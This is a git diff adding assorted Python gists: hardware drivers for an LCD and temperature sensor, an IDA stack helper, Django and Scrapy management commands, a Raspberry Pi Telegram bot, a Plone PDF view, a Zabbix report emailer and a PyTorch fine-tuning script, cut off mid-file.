+	#initializes objects and lcd
+	'''
+	Reverse Codes:
+	0: lower 4 bits of expander are commands bits
+	1: top 4 bits of expander are commands bits AND P0-4 P1-5 P2-6
+	2: top 4 bits of expander are commands bits AND P0-6 P1-5 P2-4
+	'''
+	def __init__(self, addr, port, reverse=0):
+		self.reverse = reverse
+		self.lcd_device = i2c_device(addr, port)
+		if self.reverse:
+			self.lcd_device.write(0x30)
+			self.lcd_strobe()
+			sleep(0.0005)
+			self.lcd_strobe()
+			sleep(0.0005)
+			self.lcd_strobe()
+			sleep(0.0005)
+			self.lcd_device.write(0x20)
+			self.lcd_strobe()
+			sleep(0.0005)
+		else:
+			self.lcd_device.write(0x03)
+			self.lcd_strobe()
+			sleep(0.0005)
+			self.lcd_strobe()
+			sleep(0.0005)
+			self.lcd_strobe()
+			sleep(0.0005)
+			self.lcd_device.write(0x02)
+			self.lcd_strobe()
+			sleep(0.0005)
+
+		self.lcd_write(0x28)
+		self.lcd_write(0x08)
+		self.lcd_write(0x01)
+		self.lcd_write(0x06)
+		self.lcd_write(0x0C)
+		self.lcd_write(0x0F)
+
+	# clocks EN to latch command
+	def lcd_strobe(self):
+		if self.reverse == 1:
+			self.lcd_device.write((self.lcd_device.read() | 0x04))
+			self.lcd_device.write((self.lcd_device.read() & 0xFB))
+		elif self.reverse == 2:
+			self.lcd_device.write((self.lcd_device.read() | 0x01))
+			self.lcd_device.write((self.lcd_device.read() & 0xFE))
+		else:
+			self.lcd_device.write((self.lcd_device.read() | 0x10))
+			self.lcd_device.write((self.lcd_device.read() & 0xEF))
+
+	# write a command to lcd
+	def lcd_write(self, cmd):
+		if self.reverse:
+			self.lcd_device.write((cmd >> 4)<<4)
+			self.lcd_strobe()
+			self.lcd_device.write((cmd & 0x0F)<<4)
+			self.lcd_strobe()
+			self.lcd_device.write(0x0)
+		else:
+			self.lcd_device.write((cmd >> 4))
+			self.lcd_strobe()
+			self.lcd_device.write((cmd & 0x0F))
+			self.lcd_strobe()
+			self.lcd_device.write(0x0)
+
+	# write a character to lcd (or character rom)
+	def lcd_write_char(self, charvalue):
+		if self.reverse == 1:
+			self.lcd_device.write((0x01 | (charvalue >> 4)<<4))
+			self.lcd_strobe()
+			self.lcd_device.write((0x01 | (charvalue & 0x0F)<<4))
+			self.lcd_strobe()
+			self.lcd_device.write(0x0)
+		elif self.reverse == 2:
+			self.lcd_device.write((0x04 | (charvalue >> 4)<<4))
+			self.lcd_strobe()
+			self.lcd_device.write((0x04 | (charvalue & 0x0F)<<4))
+			self.lcd_strobe()
+			self.lcd_device.write(0x0)
+		else:
+			self.lcd_device.write((0x40 | (charvalue >> 4)))
+			self.lcd_strobe()
+			self.lcd_device.write((0x40 | (charvalue & 0x0F)))
+			self.lcd_strobe()
+			self.lcd_device.write(0x0)
+
+	# put char function
+	def lcd_putc(self, char):
+		self.lcd_write_char(ord(char))
+
+	# put string function
+	def lcd_puts(self, string, line):
+		if line == 1:
+			self.lcd_write(0x80)
+		if line == 2:
+			self.lcd_write(0xC0)
+		if line == 3:
+			self.lcd_write(0x94)
+		if line == 4:
+			self.lcd_write(0xD4)
+
+		for char in string:
+			self.lcd_putc(char)
+
+	# clear lcd and set to home
+	def lcd_clear(self):
+		self.lcd_write(0x1)
+		self.lcd_write(0x2)
+
+	# add custom characters (0 - 7)
+	def lcd_load_custon_chars(self, fontdata):
+		self.lcd_device.bus.write(0x40);
+		for char in fontdata:
+			for line in char:
+				self.lcd_write_char(line)
+
+class tmp102:
+	def __init__(self, addr, port):
+		self.sensor = i2c_device(addr, port)
+
+	# read a register
+	def read_reg(self, reg):
+		return self.sensor.read_nbytes_data(reg, 2)
+
+	# read the current temp in celsius
+	def read_temp(self):
+		tempraw = self.read_reg(0)
+		return tempraw[0] + (tempraw[1] >> 4) * 0.0625
\ No newline at end of file
diff --git a/hard-gists/2968620/._snippet.py b/hard-gists/2968620/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2968620/._snippet.py differ
diff --git a/hard-gists/2968620/snippet.py b/hard-gists/2968620/snippet.py
new file mode 100644
index 00000000..0dd37812
--- /dev/null
+++ b/hard-gists/2968620/snippet.py
@@ -0,0 +1,33 @@
+from idaapi import *
+from idc import *
+
+def get_stack_arg(arg, base='ebp'):
+    # find the stack frame
+    stack = GetFrame(here())
+    size  = GetStrucSize(stack)
+
+    # figure out all of the variable names
+    names = []
+    for i in xrange(size):
+        n = GetMemberName(stack, i)
+        if n and not n in names:
+            names.append(n)
+
+    # The stack offsets can be negative
+    # GetFrame and GetStrucSize are not
+    #-0000000A var_A dw ?
+    #+00000000  s db 4 dup(?) ; s is always at 0x0 
+    #+00000004  r db 4 dup(?)
+    #+00000008 arg_0 dd ?
+    #+0000000C arg_4 dd
+    # there has got too be a better way (hax)
+    if ' s' in names and arg in names:                                                                                                    
+        adjusted = size - (size - GetMemberOffset(stack, ' s'))
+        
+        offset = GetMemberOffset(stack, arg) - adjusted
+        if base:
+            return GetRegValue(base) + offset
+        else:
+            return offset
+
+    return -1
\ No newline at end of file
diff --git a/hard-gists/2971450/._snippet.py b/hard-gists/2971450/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2971450/._snippet.py differ
diff --git a/hard-gists/2971450/snippet.py b/hard-gists/2971450/snippet.py
new file mode 100644
index 00000000..489ec132
--- /dev/null
+++ b/hard-gists/2971450/snippet.py
@@ -0,0 +1,65 @@
+"""Convert datetimes in the database when switching USE_TZ from False to True.
+
+tl;dr RUNNING THIS SCRIPT CAN RESULT IN DATA CORRUPTION, DATA LOSS AND EVEN
+      SERVER CRASHES. USE IT AT YOUR OWN RISK. NO WARRANTY WHATSOEVER.
+
+This is a management command. Put it in the management.commands package of
+one of your applications, then run: ./manage.py convert_to_utc <app_name> ...
+
+This script assumes that no write operations take place while it's running.
+It will rewrite every single record in your database; that's its whole point.
+It will crash and burn if a datetime is non-existent or ambiguous in local
+time, that is, if it falls during the DST switch -- crystal balls don't exist.
+It wraps the conversion for each model in a transaction in order to maintain
+consistency at the table level. However, if something goes wrong, you'll still
+end up with a half-converted database, where some tables are converted and
+others aren't. If this happens, I'm sorry, but you're on your own to fix it.
+
+Please, benchmark dry runs on a copy of your database and make a backup before
+attempting to run this on a production server. Shut down your website while
+the script runs. If your website is sufficiently large that you can't afford
+the downtime, then this script isn't sufficiently sophisticated for you.
+"""
+
+import warnings
+warnings.filterwarnings(
+        'ignore', r"DateTimeField received a naive datetime",
+        RuntimeWarning, r'django\.db\.models\.fields')
+
+from django.core.management.base import AppCommand
+from django.db import connections, models, transaction
+from django.test.utils import override_settings
+
+
+class Command(AppCommand):
+    help = "Converts to UTC datetimes stored for models of the given app name(s)."
+
+    def handle(self, *args, **options):
+        if len(connections.all()) > 1:
+            raise CommandError(u"This script isn't tested with multiple databases. "
+                               u"Edit the source if you want to run it anyway.")
+        for connection in connections.all():
+            if connection.ops.set_time_zone_sql():
+                raise CommandError(u"Your database backend appears to support time zones. "
+                                   u"You problably shouldn't run this script.")
+        return super(Command, self).handle(*args, **options)
+
+    def handle_app(self, app, **options):
+        for model in models.get_models(app):
+            meta = model._meta
+            self.stdout.write(u"%s.%s: " % (meta.app_label, meta.object_name))
+            if meta.proxy:
+                self.stdout.write(u"OK (proxy model)\n")
+                continue
+            fields = [f.name for f in meta.local_fields if isinstance(f, models.DateTimeField)]
+            if not fields:
+                self.stdout.write(u"OK (no datetime fields)\n")
+                continue
+            self.stdout.write(u"fields to convert: %s\n" % u" ".join(fields))
+            with transaction.commit_on_success():
+                with override_settings(USE_TZ=False):
+                    for obj in model.objects.all().only(*fields).iterator():
+                        with override_settings(USE_TZ=True):
+                            # Bypass model.save() to preserve auto_now fields
+                            values = dict((f, getattr(obj, f)) for f in fields)
+                            model.objects.filter(pk=obj.pk).update(**values)
diff --git a/hard-gists/2972ba872df05cb5f0c3/._snippet.py b/hard-gists/2972ba872df05cb5f0c3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2972ba872df05cb5f0c3/._snippet.py differ
diff --git a/hard-gists/2972ba872df05cb5f0c3/snippet.py b/hard-gists/2972ba872df05cb5f0c3/snippet.py
new file mode 100644
index 00000000..8dcd9d83
--- /dev/null
+++ b/hard-gists/2972ba872df05cb5f0c3/snippet.py
@@ -0,0 +1,170 @@
+# -*- coding: utf-8 -*- 
+#!/usr/bin/python
+import subprocess
+import os
+import picamera
+import time
+import shlex
+from datetime import datetime
+from datetime import timedelta
+import datetime as dt
+import tgl
+import sys 
+import RPi.GPIO as GPIO
+from functools import partial
+
+ppth = os.path.abspath(__file__)
+print ppth
+
+GPIO.setwarnings(False)
+GPIO.setmode(GPIO.BCM)
+GPIO.setup(27,GPIO.OUT)
+#
+our_id = 0
+binlog_done = False;
+enable_bot = False
+#strup_msg = False 
+
+def on_binlog_replay_end():
+	binlog_done = True;
+
+def on_get_difference_end():
+	pass
+
+def on_our_id(id):
+	our_id = id
+	return "Set ID: " + str(our_id)
+
+def msg_cb(success, msg):
+	pass
+	#pp.pprint(success)
+	#pp.pprint(msg)
+
+HISTORY_QUERY_SIZE = 100
+
+def history_cb(msg_list, peer, success, msgs):
+	print(len(msgs))
+	msg_list.extend(msgs)
+	print(len(msg_list))
+	if len(msgs) == HISTORY_QUERY_SIZE:
+		tgl.get_history(peer, len(msg_list), HISTORY_QUERY_SIZE, partial(history_cb, msg_list, peer));
+
+def cb(success):
+	print(success)
+	print("\ncb function")
+
+def on_msg_receive(msg):
+	if msg.out and not binlog_done:
+		return;
+
+	global enable_bot
+	peer = msg.src
+	mystr = msg.text.lower()
+	w = mystr.split()
+	if (msg.src.id == 97329959):#ADMIN ID
+		if (mystr =='dison'):
+			enable_bot = True
+			peer.send_msg ('Program is Disable.')
+			return;
+			
+		elif (mystr =='disoff'):
+			enable_bot = False
+			peer.send_msg ('Program is Enable.')
+			return;
+			
+		elif (mystr == 'reboot'):
+			peer.send_msg ('Server is Reboot.')
+			cmd = 'sudo reboot'
+			subprocess.call(cmd.split())
+			return;
+			
+		elif (mystr == 'shutdown'):
+			peer.send_msg ('Server is Shutdown.')
+			cmd = 'sudo shutdown -h now'
+			subprocess.call(cmd.split())		
+			return;
+		
+		elif (w[0] == 'led') and (not(w[1] == None)):
+			if (w[1]=='off'):
+				peer.send_msg ('Led turned off.')
+				GPIO.output(27,0)
+				return;
+			elif (w[1]=='on'):
+				peer.send_msg ('Led turned on.')
+				GPIO.output(27,1)
+				return;
+			else:
+				peer.send_msg ('Unknown command.')	
+				return;	
+			
+	
+	if (not(enable_bot)):
+			if (mystr=='about'):
+				peer.send_msg ('Telegram bot v0.1b\n\nProgrammer: @RaminSangesari\nEmail: r_sangsari@yahoo.ca')
+				return;
+				
+			elif (mystr == '!photo'):
+				
+				path=os.getenv("HOME")
+				with picamera.PiCamera() as picam:
+					#picam.led = False
+					#picam.rotation=90
+					picam.framerate = 24
+					picam.start_preview()
+					picam.annotate_background = picamera.Color('black')
+					picam.annotate_text = dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+					picam.capture(path+'/pic.jpg',resize=(640,480))
+					time.sleep(2)
+					picam.stop_preview()
+					picam.close()
+				print(path)	
+				peer.send_photo ('/root/pic.jpg')
+				peer.send_msg ('Send the picture may take some time.\nPlease wait...')
+				return;
+				
+			elif (mystr == 'id'):
+				iid = 'Your telegram id : '+str(msg.src.id)
+				peer.send_msg(iid)
+				return;
+				
+			elif (mystr == 'time'):
+				ttime=datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+				peer.send_msg (ttime)
+				return;					
+				
+			elif (mystr=='uptime'):
+				with open('/proc/uptime', 'r') as f:
+					usec = float(f.readline().split()[0])
+					usec_str = str(timedelta(seconds = usec))
+				peer.send_msg(usec_str)
+				return;
+			
+			elif (mystr == 'help') or (mystr == '?'):
+				peer.send_msg ('Commands List:\n\nid\nabout\nuptime\nphoto\ntime\n\nCommands is not case-sensitive.')
+				return;
+				
+			else:
+				peer.send_msg ('For more information please send help or ?\nCommands is not case-sensitive.')
+				peer.send_msg (msg.src)
+				return;
+			
+def print_path(success, filename):
+	print(filename)	
+
+def on_secret_chat_update(peer, types):
+	return "on_secret_chat_update"
+
+def on_user_update(peer, what_changed):
+	pass
+
+def on_chat_update(peer, what_changed):
+	pass	
+
+# Set callbacks
+tgl.set_on_binlog_replay_end(on_binlog_replay_end)
+tgl.set_on_get_difference_end(on_get_difference_end)
+tgl.set_on_our_id(on_our_id)	
+tgl.set_on_secret_chat_update(on_secret_chat_update)
+tgl.set_on_user_update(on_user_update)
+tgl.set_on_chat_update(on_chat_update)	
+tgl.set_on_msg_receive(on_msg_receive)
diff --git a/hard-gists/2973355/._snippet.py b/hard-gists/2973355/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2973355/._snippet.py differ
diff --git a/hard-gists/2973355/snippet.py b/hard-gists/2973355/snippet.py
new file mode 100644
index 00000000..9dd000aa
--- /dev/null
+++ b/hard-gists/2973355/snippet.py
@@ -0,0 +1,79 @@
+from StringIO import StringIO
+from DateTime import DateTime
+from plone.subrequest import subrequest
+from urllib import unquote
+
+from ho.pisa import pisaDocument
+from pyPdf import PdfFileWriter, PdfFileReader
+
+
+from Products.Five import BrowserView
+from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile
+
+
+class PrintView(BrowserView):
+    _print_template = ViewPageTemplateFile("print.pt")
+
+    def print_to_pdf(self):
+        pdf = StringIO()
+        charset = self.context.portal_properties.site_properties.default_charset
+
+
+        pdf = StringIO()
+        charset = self.context.portal_properties.site_properties.default_charset
+
+
+        def fetch_resources(uri, rel):
+            """
+            Callback to allow pisa/reportlab to retrieve Images,Stylesheets, etc.
+            `uri` is the href attribute from the html link element.
+            `rel` gives a relative path, but it's not used here.
+
+            """
+            urltool = getToolByName(self.context, "portal_url")
+            portal = urltool.getPortalObject()
+            base = portal.absolute_url()
+            if uri.startswith(base):
+                response = subrequest(unquote(uri[len(base)+1:]))
+                if response.status != 200:
+                    return None
+                try:
+                    # stupid pisa doesn't let me send charset.
+                    ctype,encoding = response.getHeader('content-type').split('charset=')
+                    ctype = ctype.split(';')[0]
+                    # pisa only likes ascii css
+                    data = response.getBody().decode(encoding).encode('ascii',errors='ignore')
+
+                except ValueError:
+                    ctype = response.getHeader('content-type').split(';')[0]
+                    data = response.getBody()
+
+                data = data.encode("base64").replace("\n", "")
+                data_uri = 'data:{0};base64,{1}'.format(ctype, data)
+                return data_uri
+            return uri
+
+
+        html = StringIO(self._print_template(view=self).encode(charset))
+        pisadoc = pisaDocument(html, pdf, raise_exception=True, link_callback=fetch_resources)
+#        pisadoc = pisaDocument(html, pdf, raise_exception=True)
+        assert pdf.len != 0, 'Pisa PDF generation returned empty PDF!'
+        html.close()
+
+
+        pdfcontent = pdf.getvalue()
+        pdf.close()
+
+        now = DateTime()
+        nice_filename = '%s_%s' % (filename, now.strftime('%Y%m%d'))
+
+        self.request.response.setHeader("Content-Disposition",
+                                        "attachment; filename=%s.pdf" % 
+                                         nice_filename)
+        self.request.response.setHeader("Content-Type", "application/pdf")
+        self.request.response.setHeader("Content-Length", len(pdfcontent))
+        self.request.response.setHeader('Last-Modified', DateTime.rfc822(DateTime()))
+        self.request.response.setHeader("Cache-Control", "no-store")
+        self.request.response.setHeader("Pragma", "no-cache")
+        self.request.response.write(pdfcontent)
+        return pdfcontent
diff --git a/hard-gists/2974887f3fab071c11a0/._snippet.py b/hard-gists/2974887f3fab071c11a0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2974887f3fab071c11a0/._snippet.py differ
diff --git a/hard-gists/2974887f3fab071c11a0/snippet.py b/hard-gists/2974887f3fab071c11a0/snippet.py
new file mode 100644
index 00000000..b5813d5d
--- /dev/null
+++ b/hard-gists/2974887f3fab071c11a0/snippet.py
@@ -0,0 +1,249 @@
+#!/usr/bin/python
+#-*- coding: utf-8 -*-
+
+# Install
+# apt-get install xvfb python-imaging (firefox or chromium-chromedriver)
+# pip install selenium pyvirtualdisplay boto
+
+import sys
+import os
+import socket
+import logging
+import datetime
+import time
+import httplib
+
+from cStringIO import StringIO
+from email.mime.text import MIMEText
+from email.mime.image import MIMEImage
+from email.mime.multipart import MIMEMultipart
+
+from selenium import webdriver
+from selenium.webdriver.common.action_chains import ActionChains
+from pyvirtualdisplay.xvfb import XvfbDisplay
+from PIL import Image
+from boto import ses
+
+reload(sys)
+sys.setdefaultencoding("utf-8")
+socket.setdefaulttimeout(60)
+
+logging.basicConfig(level=logging.INFO)
+log = logging.getLogger('shaco')
+
+
+#######################
+# CONFIGURATIONS START
+#######################
+ZABBIX_HOST = 'http://127.0.0.1'
+ZABBIX_USERNAME = ''
+ZABBIX_PASSWORD = ''
+
+SCREEN_URL_FORMAT = '/'.join([ZABBIX_HOST, 'screens.php?fullscreen=1&elementid={}&period=604800&stime={}'])
+
+FROM = 'example@example.com'
+SUBJECT_FORMAT = '[Shaco] {} System Statistics - {} to {}'
+
+TARGET = (
+    {
+        'name': 'Example',
+        'to': ['example@example.com',],
+        'elementid': 32
+    },
+)
+
+ALARM_SENDER = 'alarm@sender.com'
+ALARM_RECEIVER = 'alarm@receiver.com'
+
+AWS_ACCESS_KEY = ''
+AWS_SECRET_KEY = ''
+#######################
+# CONFIGURATIONS END
+#######################
+
+
+class Rectangle():
+    def __init__(self, left, upper, right, lower):
+        self.left = left
+        self.upper = upper
+        self.right = right
+        self.lower = lower
+
+    def __str__(self):
+        return '({}, {}, {}, {})'.format(self.left, self.upper, self.right, self.lower)
+
+    @property
+    def width(self):
+        return self.right - self.left
+
+    @property
+    def height(self):
+        return self.lower - self.upper
+
+
+class Shaco():
+    browser = None
+    display = None
+
+    def __init__(self):
+        self.display = XvfbDisplay(size=(1024, 768)).start()
+
+        # Firefox
+        self.browser = webdriver.Firefox()
+
+        # Chrome
+        #CHROMIUM_PATH = '/usr/lib/chromium-browser'
+        #os.environ['LD_LIBRARY_PATH'] = ':'.join(['/'.join([CHROMIUM_PATH, '/libs']), os.environ.get('LD_LIBRARY_PATH', '.')])
+        #self.browser = webdriver.Chrome(executable_path='/'.join([CHROMIUM_PATH, 'chromedriver']))
+
+
+    def __del__(self):
+        if self.browser: self.browser.quit()
+        if self.display: self.display.stop()
+
+    def do(self, name):
+        self.login()
+        ses_conn = ses.connection.SESConnection(AWS_ACCESS_KEY, AWS_SECRET_KEY)
+
+        sdate = datetime.datetime.utcnow() - datetime.timedelta(days=7)
+        edate = sdate + datetime.timedelta(days=6)
+        stime = sdate.strftime('%Y%m%d000000')
+
+        for target in TARGET:
+            if name:
+                if name != target['name']: pass
+
+            for trycnt in range(3):
+                try:
+                    url = SCREEN_URL_FORMAT.format(target['elementid'], stime)
+                    self.browser.get(url)
+                    self.browser.find_element_by_id('iframe').click()
+                    screenshot = self.get_screenshot()
+
+                    msg = MIMEMultipart()
+                    msg['From'] = FROM
+                    msg['Subject'] = SUBJECT_FORMAT.format(target['name'], sdate.strftime('%Y%m%d'), edate.strftime('%Y%m%d'))
+                    msg['To'] = ','.join(target['to'])
+
+                    text = MIMEText('URL: {}'.format(url))
+                    msg.attach(text)
+
+                    img = MIMEImage(screenshot, name='{}_{}-{}.png'.format(target['name'], sdate.strftime('%Y%m%d'), edate.strftime('%Y%m%d')))
+                    msg.attach(img)
+
+                    ses_conn.send_raw_email(msg.as_string())
+                    break
+                except socket.timeout as e:
+                    exception_handler()
+                    time.sleep(30)
+                    pass
+                except httplib.CannotSendRequest:
+                    exception_handler()
+                    time.sleep(30)
+                    pass
+                except:
+                    exception_handler()
+                    raise
+            else:
+                ses_alarm('[Shaco] {} Statistics Report Failed!'.format(target['name']))
+
+
+    def login(self):
+        self.browser.get('/'.join([ZABBIX_HOST, '']))
+        if self.browser.current_url.endswith('dashboard.php'): return None
+
+        self.browser.find_element_by_id('name').send_keys(ZABBIX_USERNAME)
+        self.browser.find_element_by_id('password').send_keys(ZABBIX_PASSWORD)
+        self.browser.find_element_by_id('enter').click()
+
+
+    def get_screenshot(self):
+        if isinstance(self.browser, webdriver.Firefox):
+            return self.get_screenshot_with_firefox()
+        elif isinstance(self.browser, webdriver.Chrome):
+            return self.get_screenshot_with_chrome()
+        else:
+            raise Exception('Unknown webdriver!')
+
+
+    def get_screenshot_with_firefox(self):
+        im = Image.open(StringIO(self.browser.get_screenshot_as_png()))
+        stream = StringIO()
+        im.save(stream, 'png')
+        screenshot = stream.getvalue()
+        stream.close()
+        return screenshot
+
+    def get_screenshot_with_chrome(self):
+        totalWidth = self.browser.execute_script('return document.documentElement.scrollWidth');
+        totalHeight = self.browser.execute_script('return document.documentElement.scrollHeight');
+
+        viewportWidth = self.browser.execute_script('return document.documentElement.clientWidth');
+        viewportHeight = self.browser.execute_script('return document.documentElement.clientHeight');
+
+        rectangles = []
+        for y in range(0, totalHeight, viewportHeight):
+            newHeight = viewportHeight
+            if (y + viewportHeight) > totalHeight:
+                newHeight = totalHeight - y
+
+            for x in range(0, totalWidth, viewportWidth):
+                newWidth = viewportWidth
+                if (x + viewportWidth) > totalWidth:
+                    newWidth = totalWidth - x
+
+                rectangle = Rectangle(x, y, x+newWidth, y+newHeight)
+                rectangles.append(rectangle)
+
+
+        im = Image.new('RGB', (totalWidth, totalHeight))
+        prevRectangle = None
+        for rectangle in rectangles:
+            if prevRectangle:
+                xDiff = rectangle.right - prevRectangle.right
+                yDiff = rectangle.lower - prevRectangle.lower
+                self.browser.execute_script('window.scrollBy({}, {})'.format(xDiff, yDiff))
+
+            part = Image.open(StringIO(self.browser.get_screenshot_as_png()))
+            part = part.crop((0, 0, viewportWidth, viewportHeight))
+            box = (rectangle.right - part.size[0], rectangle.lower - part.size[1], rectangle.right, rectangle.lower)
+            im.paste(part, box)
+
+            prevRectangle = rectangle
+
+        stream = StringIO()
+        im.save(stream, 'png')
+        screenshot = stream.getvalue()
+        stream.close()
+        return screenshot
+
+
+def exception_handler():
+    import sys, traceback
+    exc_type, exc_value, exc_traceback = sys.exc_info()
+    subject = '[Shaco] {}: {}'.format(exc_type, exc_value)
+    ses_alarm(subject, traceback.format_exc())
+
+
+def ses_alarm(subject, body=None):
+    if not body: body = subject
+
+    ses_conn = ses.connection.SESConnection(AWS_ACCESS_KEY, AWS_SECRET_KEY)
+    ses_conn.send_email(ALARM_SENDER, subject, body, ALARM_RECEIVER)
+
+
+if __name__ == '__main__':
+    shaco = None
+    name = None
+
+    if len(sys.argv) >= 2:
+        name = sys.argv[1]
+
+    try:
+        shaco = Shaco()
+        shaco.do(name)
+    except Exception:
+        exception_handler()
+        raise
+    finally:
+        del shaco
diff --git a/hard-gists/2975718/._snippet.py b/hard-gists/2975718/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2975718/._snippet.py differ
diff --git a/hard-gists/2975718/snippet.py b/hard-gists/2975718/snippet.py
new file mode 100644
index 00000000..5295503b
--- /dev/null
+++ b/hard-gists/2975718/snippet.py
@@ -0,0 +1,13 @@
+# Enable us to call scrapy from manage.py
+
+from __future__ import absolute_import
+from django.core.management.base import BaseCommand
+
+class Command(BaseCommand):
+    def run_from_argv(self, argv):
+        self._argv = argv
+        self.execute()
+
+    def handle(self, *args, **options):
+        from scrapy.cmdline import execute
+        execute(self._argv[1:])     
\ No newline at end of file
diff --git a/hard-gists/2977d9f26866b05583b0c40d88a315bf/._snippet.py b/hard-gists/2977d9f26866b05583b0c40d88a315bf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2977d9f26866b05583b0c40d88a315bf/._snippet.py differ
diff --git a/hard-gists/2977d9f26866b05583b0c40d88a315bf/snippet.py b/hard-gists/2977d9f26866b05583b0c40d88a315bf/snippet.py
new file mode 100644
index 00000000..72a18f7c
--- /dev/null
+++ b/hard-gists/2977d9f26866b05583b0c40d88a315bf/snippet.py
@@ -0,0 +1,348 @@
+import argparse
+import os
+import shutil
+import time
+
+import torch
+import torch.nn as nn
+import torch.nn.parallel
+import torch.backends.cudnn as cudnn
+import torch.optim
+import torch.utils.data
+import torchvision.transforms as transforms
+import torchvision.datasets as datasets
+import torchvision.models as models
+
+
+
+model_names = sorted(name for name in models.__dict__
+    if name.islower() and not name.startswith("__"))
+
+
+parser = argparse.ArgumentParser(description='PyTorch ImageNet Training')
+parser.add_argument('data', metavar='DIR',
+                    help='path to dataset')
+parser.add_argument('--arch', '-a', metavar='ARCH', default='resnet18',
+                    choices=model_names,
+                    help='model architecture: ' +
+                        ' | '.join(model_names) +
+                        ' (default: resnet18)')
+parser.add_argument('-j', '--workers', default=4, type=int, metavar='N',
+                    help='number of data loading workers (default: 4)')
+parser.add_argument('--epochs', default=90, type=int, metavar='N',
+                    help='number of total epochs to run')
+parser.add_argument('--start-epoch', default=0, type=int, metavar='N',
+                    help='manual epoch number (useful on restarts)')
+parser.add_argument('-b', '--batch-size', default=256, type=int,
+                    metavar='N', help='mini-batch size (default: 256)')
+parser.add_argument('--lr', '--learning-rate', default=0.1, type=float,
+                    metavar='LR', help='initial learning rate')
+parser.add_argument('--momentum', default=0.9, type=float, metavar='M',
+                    help='momentum')
+parser.add_argument('--weight-decay', '--wd', default=1e-4, type=float,
+                    metavar='W', help='weight decay (default: 1e-4)')
+parser.add_argument('--print-freq', '-p', default=10, type=int,
+                    metavar='N', help='print frequency (default: 10)')
+parser.add_argument('--resume', default='', type=str, metavar='PATH',
+                    help='path to latest checkpoint (default: none)')
+parser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true',
+                    help='evaluate model on validation set')
+parser.add_argument('--pretrained', dest='pretrained', action='store_true',
+                    help='use pre-trained model')
+parser.add_argument('--finetune', dest='finetune', action='store_true',
+                    help='fine tune pre-trained model')
+
+best_prec1 = 0
+
+class FineTuneModel(nn.Module):
+    def __init__(self, original_model, arch, num_classes):
+        super(FineTuneModel, self).__init__()
+
+        if arch.startswith('alexnet') :
+            self.features = original_model.features
+            self.classifier = nn.Sequential(
+                nn.Dropout(),
+                nn.Linear(256 * 6 * 6, 4096),
+                nn.ReLU(inplace=True),
+                nn.Dropout(),
+                nn.Linear(4096, 4096),
+                nn.ReLU(inplace=True),
+                nn.Linear(4096, num_classes),
+            )
+            self.modelName = 'alexnet'
+        elif arch.startswith('resnet') :
+            # Everything except the last linear layer
+            self.features = nn.Sequential(*list(original_model.children())[:-1])
+            self.classifier = nn.Sequential(
+                nn.Linear(512, num_classes)
+            )
+            self.modelName = 'resnet'
+        elif arch.startswith('vgg16'):
+            self.features = original_model.features
+            self.classifier = nn.Sequential(
+                nn.Dropout(),
+                nn.Linear(25088, 4096),
+                nn.ReLU(inplace=True),
+                nn.Dropout(),
+                nn.Linear(4096, 4096),
+                nn.ReLU(inplace=True),
+                nn.Linear(4096, num_classes),
+            )
+            self.modelName = 'vgg16'
+        else :
+            raise("Finetuning not supported on this architecture yet")
+
+        # Freeze those weights
+        for p in self.features.parameters():
+            p.requires_grad = False
+
+
+    def forward(self, x):
+        f = self.features(x)
+        if self.modelName == 'alexnet' :
+            f = f.view(f.size(0), 256 * 6 * 6)
+        elif self.modelName == 'vgg16':
+            f = f.view(f.size(0), -1)
+        elif self.modelName == 'resnet' :
+            f = f.view(f.size(0), -1)
+        y = self.classifier(f)
+        return y
+
+
+def main():
+    global args, best_prec1
+    args = parser.parse_args()
+
+    traindir = os.path.join(args.data, 'train')
+    valdir = os.path.join(args.data, 'val')
+    # Get number of classes from train directory
+    num_classes = len([name for name in os.listdir(traindir)])
+    print("num_classes = '{}'".format(num_classes))
+    # create model
+    if args.finetune:
+        print("=> using pre-trained model '{}'".format(args.arch))
+        original_model = models.__dict__[args.arch](pretrained=True)
+        model = FineTuneModel(original_model, args.arch, num_classes)
+    else:
+        print("=> creating model '{}'".format(args.arch))
+        model = models.__dict__[args.arch]()
+
+    if args.arch.startswith('alexnet') or args.arch.startswith('vgg'):
+        model.features = torch.nn.DataParallel(model.features)
+        model.cuda()
+    else:
+        model = torch.nn.DataParallel(model).cuda()
+
+    # optionally resume from a checkpoint
+    if args.resume:
+        if os.path.isfile(args.resume):
+            print("=> loading checkpoint '{}'".format(args.resume))
+            checkpoint = torch.load(args.resume)
+            args.start_epoch = checkpoint['epoch']
+            best_prec1 = checkpoint['best_prec1']
+            model.load_state_dict(checkpoint['state_dict'])
+            print("=> loaded checkpoint '{}' (epoch {})"
+                  .format(args.evaluate, checkpoint['epoch']))
+        else:
+            print("=> no checkpoint found at '{}'".format(args.resume))
+
+    cudnn.benchmark = True
+
+    # Data loading code
+    normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],
+                                     std=[0.229, 0.224, 0.225])
+
+    train_loader = torch.utils.data.DataLoader(
+        datasets.ImageFolder(traindir, transforms.Compose([
+            transforms.RandomSizedCrop(224),
+            transforms.RandomHorizontalFlip(),
+            transforms.ToTensor(),
+            normalize,
+        ])),    
+        batch_size=args.batch_size, shuffle=True,
+        num_workers=args.workers, pin_memory=True)
+
+    val_loader = torch.utils.data.DataLoader(
+        datasets.ImageFolder(valdir, transforms.Compose([
+            transforms.Scale(256),
+            transforms.CenterCrop(224),
+            transforms.ToTensor(),
+            normalize,
+        ])),
+        batch_size=args.batch_size, shuffle=False,
+        num_workers=args.workers, pin_memory=True)
+
+    # define loss function (criterion) and pptimizer
+    criterion = nn.CrossEntropyLoss().cuda()
+
+    optimizer = torch.optim.SGD(filter(lambda p: p.requires_grad, model.parameters()), # Only finetunable params
+                                args.lr,
+                                momentum=args.momentum,
+                                weight_decay=args.weight_decay)
+
+    if args.evaluate:
+        validate(val_loader, model, criterion)
+        return
+
